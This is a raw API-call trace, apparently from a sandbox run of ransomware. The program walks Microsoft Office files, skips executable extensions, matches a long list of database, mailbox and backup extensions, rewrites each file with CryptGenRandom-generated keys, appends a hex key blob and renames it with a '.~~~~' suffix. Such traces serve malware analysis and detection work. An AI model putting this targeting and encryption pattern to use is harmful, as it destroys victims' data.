	[0137.517] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0137.517] GetLastError () returned 0x0
	[0137.522] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff329c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.522] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xcd64, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0xcd64, lpOverlapped=0x0) returned 1
	[0137.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0137.523] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.523] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.523] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.523] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.523] CloseHandle (hObject=0x138) returned 1
	[0137.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6120
	[0137.523] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlts.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlts.dat.~~~~")) returned 1
	[0137.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c6120 | out: hHeap=0x300000) returned 1
	[0137.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0137.526] GetLastError () returned 0x0
	[0137.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".scr") returned 0x0
	[0137.526] lstrlenW (lpString=".cmd") returned 4
	[0137.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".cmd") returned 0x0
	[0137.526] lstrlenW (lpString=".dll") returned 4
	[0137.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".dll") returned 0x0
	[0137.526] lstrlenW (lpString=".bat") returned 4
	[0137.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".bat") returned 0x0
	[0137.526] lstrlenW (lpString=".cpl") returned 4
	[0137.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".cpl") returned 0x0
	[0137.527] lstrlenW (lpString=".sys") returned 4
	[0137.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".sys") returned 0x0
	[0137.527] lstrlenW (lpString=".msc") returned 4
	[0137.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".msc") returned 0x0
	[0137.527] lstrlenW (lpString=".com") returned 4
	[0137.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".com") returned 0x0
	[0137.527] lstrlenW (lpString=".lnk") returned 4
	[0137.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".lnk") returned 0x0
	[0137.527] lstrlenW (lpString=".msp") returned 4
	[0137.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".msp") returned 0x0
	[0137.527] lstrlenW (lpString=".pif") returned 4
	[0137.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".pif") returned 0x0
	[0137.527] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch="msp\r\n.pif") returned 0x0
	[0137.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchphn.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0137.529] lstrlenW (lpString=".sqb") returned 4
	[0137.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".sqb") returned 0x0
	[0137.529] lstrlenW (lpString=".ost") returned 4
	[0137.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".ost") returned 0x0
	[0137.529] lstrlenW (lpString=".txt") returned 4
	[0137.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".txt") returned 0x0
	[0137.529] lstrlenW (lpString=".mdt") returned 4
	[0137.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".mdt") returned 0x0
	[0137.529] lstrlenW (lpString=".BDB") returned 4
	[0137.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".BDB") returned 0x0
	[0137.529] lstrlenW (lpString=".eql") returned 4
	[0137.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".eql") returned 0x0
	[0137.529] lstrlenW (lpString=".DBF") returned 4
	[0137.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".DBF") returned 0x0
	[0137.530] lstrlenW (lpString=".EQL") returned 4
	[0137.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".EQL") returned 0x0
	[0137.530] lstrlenW (lpString=".FDB") returned 4
	[0137.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".FDB") returned 0x0
	[0137.530] lstrlenW (lpString=".EDB") returned 4
	[0137.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".EDB") returned 0x0
	[0137.530] lstrlenW (lpString=".DACPAC") returned 7
	[0137.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".DACPAC") returned 0x0
	[0137.530] lstrlenW (lpString=".VHD") returned 4
	[0137.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".VHD") returned 0x0
	[0137.530] lstrlenW (lpString=".DBV") returned 4
	[0137.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".DBV") returned 0x0
	[0137.530] lstrlenW (lpString=".dacpac") returned 7
	[0137.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".dacpac") returned 0x0
	[0137.530] lstrlenW (lpString=".sdf") returned 4
	[0137.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".sdf") returned 0x0
	[0137.530] lstrlenW (lpString=".accdb") returned 6
	[0137.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".accdb") returned 0x0
	[0137.530] lstrlenW (lpString=".DBX") returned 4
	[0137.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".DBX") returned 0x0
	[0137.530] lstrlenW (lpString=".MDT") returned 4
	[0137.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".MDT") returned 0x0
	[0137.530] lstrlenW (lpString=".SQB") returned 4
	[0137.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".SQB") returned 0x0
	[0137.530] lstrlenW (lpString=".vhd") returned 4
	[0137.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".vhd") returned 0x0
	[0137.531] lstrlenW (lpString=".bac") returned 4
	[0137.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".bac") returned 0x0
	[0137.531] lstrlenW (lpString=".mdf") returned 4
	[0137.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".mdf") returned 0x0
	[0137.531] lstrlenW (lpString=".BAK") returned 4
	[0137.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".BAK") returned 0x0
	[0137.531] lstrlenW (lpString=".BAC") returned 4
	[0137.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".BAC") returned 0x0
	[0137.531] lstrlenW (lpString=".dbs") returned 4
	[0137.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".dbs") returned 0x0
	[0137.531] lstrlenW (lpString=".vhdx") returned 5
	[0137.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".vhdx") returned 0x0
	[0137.531] lstrlenW (lpString=".NDF") returned 4
	[0137.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".NDF") returned 0x0
	[0137.531] lstrlenW (lpString=".dat") returned 4
	[0137.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".dat") returned 0x0
	[0137.531] lstrlenW (lpString=".DBS") returned 4
	[0137.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".DBS") returned 0x0
	[0137.531] lstrlenW (lpString=".CKP") returned 4
	[0137.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".CKP") returned 0x0
	[0137.531] lstrlenW (lpString=".edb") returned 4
	[0137.531] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".edb") returned 0x0
	[0137.532] lstrlenW (lpString=".PST") returned 4
	[0137.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".PST") returned 0x0
	[0137.532] lstrlenW (lpString=".dbf") returned 4
	[0137.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".dbf") returned 0x0
	[0137.532] lstrlenW (lpString=".SQL") returned 4
	[0137.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".SQL") returned 0x0
	[0137.532] lstrlenW (lpString=".pst") returned 4
	[0137.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".pst") returned 0x0
	[0137.532] lstrlenW (lpString=".dbv") returned 4
	[0137.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".dbv") returned 0x0
	[0137.532] lstrlenW (lpString=".SDF") returned 4
	[0137.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".SDF") returned 0x0
	[0137.532] lstrlenW (lpString=".dtxs") returned 5
	[0137.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".dtxs") returned 0x0
	[0137.532] lstrlenW (lpString=".db3") returned 4
	[0137.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".db3") returned 0x0
	[0137.532] lstrlenW (lpString=".OST") returned 4
	[0137.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".OST") returned 0x0
	[0137.532] lstrlenW (lpString=".dbx") returned 4
	[0137.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".dbx") returned 0x0
	[0137.532] lstrlenW (lpString=".DB3") returned 4
	[0137.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".DB3") returned 0x0
	[0137.532] lstrlenW (lpString=".DAT") returned 4
	[0137.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT", lpSrch=".DAT") returned=".DAT"
	[0137.532] lstrlenW (lpString=".DAT") returned 4
	[0137.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0137.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.533] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0137.534] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.534] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0137.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0137.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0137.534] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25752428148) returned 1
	[0137.534] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbb6aba70, dwHighDateTime=0x1d60e1e)) 
	[0137.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0137.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0137.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0137.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28257f0
	[0137.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28257f0 | out: hHeap=0x300000) returned 1
	[0137.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce230
	[0137.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c64b0
	[0137.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0137.535] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0137.535] GetLastError () returned 0x0
	[0137.535] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0137.536] GetLastError () returned 0x0
	[0137.538] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff2e8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.538] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xd18, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0xd18, lpOverlapped=0x0) returned 1
	[0137.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0137.538] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.538] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.538] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.538] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.538] CloseHandle (hObject=0x138) returned 1
	[0137.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c64b0
	[0137.539] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchphn.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchphn.dat.~~~~")) returned 1
	[0137.541] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c64b0 | out: hHeap=0x300000) returned 1
	[0137.541] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0137.541] GetLastError () returned 0x0
	[0137.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".scr") returned 0x0
	[0137.541] lstrlenW (lpString=".cmd") returned 4
	[0137.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".cmd") returned 0x0
	[0137.542] lstrlenW (lpString=".dll") returned 4
	[0137.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".dll") returned 0x0
	[0137.542] lstrlenW (lpString=".bat") returned 4
	[0137.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".bat") returned 0x0
	[0137.542] lstrlenW (lpString=".cpl") returned 4
	[0137.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".cpl") returned 0x0
	[0137.542] lstrlenW (lpString=".sys") returned 4
	[0137.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".sys") returned 0x0
	[0137.542] lstrlenW (lpString=".msc") returned 4
	[0137.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".msc") returned 0x0
	[0137.542] lstrlenW (lpString=".com") returned 4
	[0137.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".com") returned 0x0
	[0137.542] lstrlenW (lpString=".lnk") returned 4
	[0137.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".lnk") returned 0x0
	[0137.542] lstrlenW (lpString=".msp") returned 4
	[0137.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".msp") returned 0x0
	[0137.542] lstrlenW (lpString=".pif") returned 4
	[0137.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".pif") returned 0x0
	[0137.542] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.542] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch="msp\r\n.pif") returned 0x0
	[0137.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0137.544] lstrlenW (lpString=".sqb") returned 4
	[0137.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".sqb") returned 0x0
	[0137.544] lstrlenW (lpString=".ost") returned 4
	[0137.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".ost") returned 0x0
	[0137.544] lstrlenW (lpString=".txt") returned 4
	[0137.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".txt") returned 0x0
	[0137.544] lstrlenW (lpString=".mdt") returned 4
	[0137.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".mdt") returned 0x0
	[0137.545] lstrlenW (lpString=".BDB") returned 4
	[0137.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".BDB") returned 0x0
	[0137.545] lstrlenW (lpString=".eql") returned 4
	[0137.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".eql") returned 0x0
	[0137.545] lstrlenW (lpString=".DBF") returned 4
	[0137.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".DBF") returned 0x0
	[0137.545] lstrlenW (lpString=".EQL") returned 4
	[0137.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".EQL") returned 0x0
	[0137.545] lstrlenW (lpString=".FDB") returned 4
	[0137.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".FDB") returned 0x0
	[0137.545] lstrlenW (lpString=".EDB") returned 4
	[0137.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".EDB") returned 0x0
	[0137.545] lstrlenW (lpString=".DACPAC") returned 7
	[0137.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".DACPAC") returned 0x0
	[0137.545] lstrlenW (lpString=".VHD") returned 4
	[0137.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".VHD") returned 0x0
	[0137.545] lstrlenW (lpString=".DBV") returned 4
	[0137.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".DBV") returned 0x0
	[0137.545] lstrlenW (lpString=".dacpac") returned 7
	[0137.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".dacpac") returned 0x0
	[0137.545] lstrlenW (lpString=".sdf") returned 4
	[0137.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".sdf") returned 0x0
	[0137.545] lstrlenW (lpString=".accdb") returned 6
	[0137.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".accdb") returned 0x0
	[0137.545] lstrlenW (lpString=".DBX") returned 4
	[0137.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".DBX") returned 0x0
	[0137.546] lstrlenW (lpString=".MDT") returned 4
	[0137.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".MDT") returned 0x0
	[0137.546] lstrlenW (lpString=".SQB") returned 4
	[0137.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".SQB") returned 0x0
	[0137.546] lstrlenW (lpString=".vhd") returned 4
	[0137.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".vhd") returned 0x0
	[0137.546] lstrlenW (lpString=".bac") returned 4
	[0137.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".bac") returned 0x0
